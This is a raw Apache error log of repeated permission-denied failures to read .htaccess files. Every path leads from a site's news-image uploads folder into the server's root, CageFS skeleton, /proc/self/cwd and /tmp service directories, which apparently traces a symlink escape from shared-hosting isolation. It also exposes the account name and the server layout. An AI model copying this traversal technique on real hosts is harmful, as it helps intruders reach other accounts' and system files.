[Fri Jul 17 09:19:46.907973 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php82-php-fpm.service-R8nsD9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php82-php-fpm.service-R8nsD9/' is executable
[Fri Jul 17 09:19:46.908030 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-t_xd_3sv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-t_xd_3sv/' is executable
[Fri Jul 17 09:19:46.908066 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/LYPODCGT3Y/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/LYPODCGT3Y/' is executable
[Fri Jul 17 09:19:46.908122 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-chronyd.service-zog4QK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-chronyd.service-zog4QK/' is executable
[Fri Jul 17 09:19:46.908151 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wx4l_sa3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wx4l_sa3/' is executable
[Fri Jul 17 09:19:46.908221 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-u_abmdy_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-u_abmdy_/' is executable
[Fri Jul 17 09:19:46.908249 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php73-php-fpm.service-E13JIB/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php73-php-fpm.service-E13JIB/' is executable
[Fri Jul 17 09:19:46.908273 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-o3i4jbu0/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-o3i4jbu0/' is executable
[Fri Jul 17 09:19:46.908312 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php73-php-fpm.service-Pq857U/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php73-php-fpm.service-Pq857U/' is executable
[Fri Jul 17 09:19:46.908350 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/WLHAdFgMjb/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/WLHAdFgMjb/' is executable
[Fri Jul 17 09:19:46.908374 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php81-php-fpm.service-a72gch/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php81-php-fpm.service-a72gch/' is executable
[Fri Jul 17 09:19:46.908402 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-systemd-coredump@0-3520302-0.service-ADOEwx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-systemd-coredump@0-3520302-0.service-ADOEwx/' is executable
[Fri Jul 17 09:19:46.908430 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-pdns.service-rLEb5s/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-pdns.service-rLEb5s/' is executable
[Fri Jul 17 09:19:46.908457 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php73-php-fpm.service-pUmEsR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php73-php-fpm.service-pUmEsR/' is executable
[Fri Jul 17 09:19:46.908513 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php74-php-fpm.service-ervOAC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php74-php-fpm.service-ervOAC/' is executable
[Fri Jul 17 09:19:46.908546 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/Sal_WY9O1j/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/Sal_WY9O1j/' is executable
[Fri Jul 17 09:19:46.908577 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-lszs65bw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-lszs65bw/' is executable
[Fri Jul 17 09:19:46.908614 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php82-php-fpm.service-qQqEsP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php82-php-fpm.service-qQqEsP/' is executable
[Fri Jul 17 09:19:46.908641 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php83-php-fpm.service-3b6Dut/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php83-php-fpm.service-3b6Dut/' is executable
[Fri Jul 17 09:19:46.908665 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php73-php-fpm.service-w6eNRe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php73-php-fpm.service-w6eNRe/' is executable
[Fri Jul 17 09:19:46.908691 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php81-php-fpm.service-xzp9h9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php81-php-fpm.service-xzp9h9/' is executable
[Fri Jul 17 09:19:46.908716 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-yd5r48si/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-yd5r48si/' is executable
[Fri Jul 17 09:19:46.908746 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php73-php-fpm.service-4itX6A/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php73-php-fpm.service-4itX6A/' is executable
[Fri Jul 17 09:19:46.908771 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/TQab0x6cAH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/TQab0x6cAH/' is executable
[Fri Jul 17 09:19:46.908796 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-QSX2Ei/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-QSX2Ei/' is executable
[Fri Jul 17 09:19:46.908819 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/XfqAfkbJH_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/XfqAfkbJH_/' is executable
[Fri Jul 17 09:19:46.908898 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php74-php-fpm.service-lU7rMh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php74-php-fpm.service-lU7rMh/' is executable
[Fri Jul 17 09:19:46.908953 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-pdns.service-QpTkrB/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-pdns.service-QpTkrB/' is executable
[Fri Jul 17 09:19:46.908981 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php81-php-fpm.service-GArlCU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php81-php-fpm.service-GArlCU/' is executable
[Fri Jul 17 09:19:46.909008 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php82-php-fpm.service-oOj4uw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php82-php-fpm.service-oOj4uw/' is executable
[Fri Jul 17 09:19:46.909035 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wk8lavi2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wk8lavi2/' is executable
[Fri Jul 17 09:19:46.909074 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/k069Dtvyh3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/k069Dtvyh3/' is executable
[Fri Jul 17 09:19:46.909098 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-w5xnibwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-w5xnibwv/' is executable
[Fri Jul 17 09:19:46.909178 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-pdns.service-2dBoFM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-pdns.service-2dBoFM/' is executable
[Fri Jul 17 09:19:46.909207 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php82-php-fpm.service-orXQzm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php82-php-fpm.service-orXQzm/' is executable
[Fri Jul 17 09:19:46.909232 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php73-php-fpm.service-2lqC8V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php73-php-fpm.service-2lqC8V/' is executable
[Fri Jul 17 09:19:46.909258 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/4jL3h532cI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/4jL3h532cI/' is executable
[Fri Jul 17 09:19:46.909290 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-systemd-coredump@10-216488-0.service-ou6lmM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-systemd-coredump@10-216488-0.service-ou6lmM/' is executable
[Fri Jul 17 09:19:46.909344 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php83-php-fpm.service-eP6PZ9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php83-php-fpm.service-eP6PZ9/' is executable
[Fri Jul 17 09:19:46.909390 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php82-php-fpm.service-X1YTh6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php82-php-fpm.service-X1YTh6/' is executable
[Fri Jul 17 09:19:46.909415 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php81-php-fpm.service-cSSTXU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php81-php-fpm.service-cSSTXU/' is executable
[Fri Jul 17 09:19:46.909442 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-pdns.service-BoAKOL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-pdns.service-BoAKOL/' is executable
[Fri Jul 17 09:19:46.909468 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/jHiCH018ir/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/jHiCH018ir/' is executable
[Fri Jul 17 09:19:46.909494 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-9zlm34ti/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-9zlm34ti/' is executable
[Fri Jul 17 09:19:46.909525 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-pdns.service-xj2v7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-pdns.service-xj2v7a/' is executable
[Fri Jul 17 09:19:46.909550 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-pdns.service-wA2qpx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-pdns.service-wA2qpx/' is executable
[Fri Jul 17 09:19:46.909591 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-38y9v4sp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-38y9v4sp/' is executable
[Fri Jul 17 09:19:46.909615 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gjr9zs2f/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gjr9zs2f/' is executable
[Fri Jul 17 09:19:46.909667 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php74-php-fpm.service-Ye8Zrx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php74-php-fpm.service-Ye8Zrx/' is executable
[Fri Jul 17 09:19:46.909738 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php72-php-fpm.service-wSkcuR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php72-php-fpm.service-wSkcuR/' is executable
